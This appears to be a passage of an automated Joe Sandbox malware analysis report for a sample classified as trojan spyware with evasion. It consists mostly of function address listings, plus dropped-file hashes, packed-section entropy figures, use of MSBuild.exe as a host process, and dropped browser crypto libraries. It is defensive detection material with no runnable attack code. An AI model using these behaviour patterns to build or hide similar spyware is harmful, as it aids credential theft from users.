Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54E680	1_2_6C54E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C544EA0	1_2_6C544EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C527710	1_2_6C527710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F9F00	1_2_6C4F9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C516FF0	1_2_6C516FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EDFE0	1_2_6C4EDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5377A0	1_2_6C5377A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C508850	1_2_6C508850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50D850	1_2_6C50D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52F070	1_2_6C52F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F7810	1_2_6C4F7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52B820	1_2_6C52B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C534820	1_2_6C534820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5550C7	1_2_6C5550C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50C0E0	1_2_6C50C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5258E0	1_2_6C5258E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5160A0	1_2_6C5160A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50A940	1_2_6C50A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53B970	1_2_6C53B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55B170	1_2_6C55B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FD960	1_2_6C4FD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C525190	1_2_6C525190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C542990	1_2_6C542990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51D9B0	1_2_6C51D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EC9A0	1_2_6C4EC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C529A60	1_2_6C529A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C528AC0	1_2_6C528AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C501AF0	1_2_6C501AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52E2F0	1_2_6C52E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55BA90	1_2_6C55BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C552AB0	1_2_6C552AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E22A0	1_2_6C4E22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C514AA0	1_2_6C514AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FCAB0	1_2_6C4FCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E5340	1_2_6C4E5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FC370	1_2_6C4FC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52D320	1_2_6C52D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5553C8	1_2_6C5553C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EF380	1_2_6C4EF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C59AC60	1_2_6C59AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C66AC30	1_2_6C66AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C656C00	1_2_6C656C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5EECD0	1_2_6C5EECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C58ECC0	1_2_6C58ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C65ED70	1_2_6C65ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6BAD50	1_2_6C6BAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C718D20	1_2_6C718D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C71CDC0	1_2_6C71CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C594DB0	1_2_6C594DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C626D90	1_2_6C626D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C62EE70	1_2_6C62EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C670E20	1_2_6C670E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C59AEC0	1_2_6C59AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C630EC0	1_2_6C630EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C616E90	1_2_6C616E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C652F70	1_2_6C652F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5FEF40	1_2_6C5FEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C596F10	1_2_6C596F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6D0F20	1_2_6C6D0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C66EFF0	1_2_6C66EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C590FE0	1_2_6C590FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6D8FB0	1_2_6C6D8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C59EFB0	1_2_6C59EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C664840	1_2_6C664840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C61A820	1_2_6C61A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5E0820	1_2_6C5E0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6968E0	1_2_6C6968E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C8960	1_2_6C5C8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5E6900	1_2_6C5E6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6AC9E0	1_2_6C6AC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C49F0	1_2_6C5C49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6209A0	1_2_6C6209A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64A9A0	1_2_6C64A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6509B0	1_2_6C6509B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C60CA70	1_2_6C60CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C648A30	1_2_6C648A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C63EA00	1_2_6C63EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C60EA80	1_2_6C60EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C696BE0	1_2_6C696BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C630BA0	1_2_6C630BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5A8460	1_2_6C5A8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C61A430	1_2_6C61A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5F4420	1_2_6C5F4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5D64D0	1_2_6C5D64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C62A4D0	1_2_6C62A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6BA480	1_2_6C6BA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C630570	1_2_6C630570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5E8540	1_2_6C5E8540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C694540	1_2_6C694540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6D8550	1_2_6C6D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5F2560	1_2_6C5F2560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C65A5E0	1_2_6C65A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C61E5F0	1_2_6C61E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5845B0	1_2_6C5845B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5EC650	1_2_6C5EC650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C62E6E0	1_2_6C62E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5B46D0	1_2_6C5B46D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5EE6E0	1_2_6C5EE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C610700	1_2_6C610700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5BA7D0	1_2_6C5BA7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5DE070	1_2_6C5DE070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C65C000	1_2_6C65C000
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A62021	11_2_00A62021
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A92088	11_2_00A92088
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A940C8	11_2_00A940C8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00ABE1A8	11_2_00ABE1A8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A8E1CF	11_2_00A8E1CF
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A92123	11_2_00A92123
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00ABE132	11_2_00ABE132
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A98278	11_2_00A98278
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A8E27B	11_2_00A8E27B
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A8E272	11_2_00A8E272
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A90488	11_2_00A90488
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A8E455	11_2_00A8E455
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A8E527	11_2_00A8E527
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AC8798	11_2_00AC8798
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00ABE738	11_2_00ABE738
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AD4988	11_2_00AD4988
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A6CAF2	11_2_00A6CAF2
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A94AC8	11_2_00A94AC8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AAAA47	11_2_00AAAA47
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A98D88	11_2_00A98D88
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00ABAD84	11_2_00ABAD84
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A96D40	11_2_00A96D40
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AD4E98	11_2_00AD4E98
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AD6FA8	11_2_00AD6FA8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A9EF08	11_2_00A9EF08
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AD0F18	11_2_00AD0F18
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A9B078	11_2_00A9B078
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AC51A8	11_2_00AC51A8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A971D8	11_2_00A971D8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A6729C	11_2_00A6729C
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A7D39B	11_2_00A7D39B
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AC33C8	11_2_00AC33C8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AA94C8	11_2_00AA94C8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A95468	11_2_00A95468
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A97728	11_2_00A97728
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A7572C	11_2_00A7572C
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00ACB778	11_2_00ACB778
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AD1918	11_2_00AD1918
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00AB9BA8	11_2_00AB9BA8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A7BB36	11_2_00A7BB36
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A73C92	11_2_00A73C92
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A97DE8	11_2_00A97DE8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A61D79	11_2_00A61D79
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A6FEF0	11_2_00A6FEF0
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A8DED8	11_2_00A8DED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00410228	12_2_00410228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00444040	12_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00401000	12_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00412030	12_2_00412030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0044A0D0	12_2_0044A0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00405160	12_2_00405160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004071F0	12_2_004071F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040E1A0	12_2_0040E1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004382D0	12_2_004382D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004312D0	12_2_004312D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004012F7	12_2_004012F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040A300	12_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004323E0	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040B3A0	12_2_0040B3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004013A3	12_2_004013A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0042C470	12_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004364F0	12_2_004364F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00414487	12_2_00414487
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0041049B	12_2_0041049B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0041C5F0	12_2_0041C5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00408590	12_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004035B0	12_2_004035B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040164F	12_2_0040164F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00448652	12_2_00448652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0043F620	12_2_0043F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004486F0	12_2_004486F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040A850	12_2_0040A850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00431860	12_2_00431860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0043B8C0	12_2_0043B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0043E8A0	12_2_0043E8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0042098B	12_2_0042098B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_004489A0	12_2_004489A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00444A40	12_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00448A80	12_2_00448A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00447AB0	12_2_00447AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0041DB6F	12_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00407BF0	12_2_00407BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00448C02	12_2_00448C02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0042CCD0	12_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00446CBF	12_2_00446CBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00428D62	12_2_00428D62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0042FD10	12_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0042DD29	12_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0042AE57	12_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00448E70	12_2_00448E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00414E2A	12_2_00414E2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040BEB0	12_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00416EBF	12_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0040AF10	12_2_0040AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00447FC0	12_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_00408FD0	12_2_00408FD0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C71D930 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041D300 appears 152 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C71DAE0 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C5B3620 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C5294D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C7109D0 appears 183 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040CAA0 appears 48 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C5B9B10 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C51CBE8 appears 134 times
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: String function: 00A99978 appears 93 times
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: String function: 00AAA1D8 appears 152 times
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: String function: 00A67B80 appears 49 times
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: String function: 00E27B80 appears 49 times

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 260

Source: FdjDPFGTZS.exe, 00000000.00000000.1355401144.0000000000E9C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs FdjDPFGTZS.exe
Source: FdjDPFGTZS.exe	Binary or memory string: OriginalFilenameproquota.exej% vs FdjDPFGTZS.exe

Source: FdjDPFGTZS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: FdjDPFGTZS.exe	Static PE information: Section: .data ZLIB complexity 0.989925
Source: userCAFIEBKKJJ.exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912396197552448
Source: a43486128347[1].exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912396197552448

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@12/34@11/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C547030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C547030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

1_2_00413720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\OAWAB1DE.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7432
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4828
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\0e58ca05-d179-4c14-83dd-588c4e0c38ff

Jump to behavior

Source: C:\Users\userCAFIEBKKJJ.exe	Command line argument: MZx	11_2_00A62021
Source: C:\Users\userCAFIEBKKJJ.exe	Command line argument: MZx	11_2_00A62021
Source: C:\Users\userCAFIEBKKJJ.exe	Command line argument: MZx	11_2_00A62021

Source: FdjDPFGTZS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
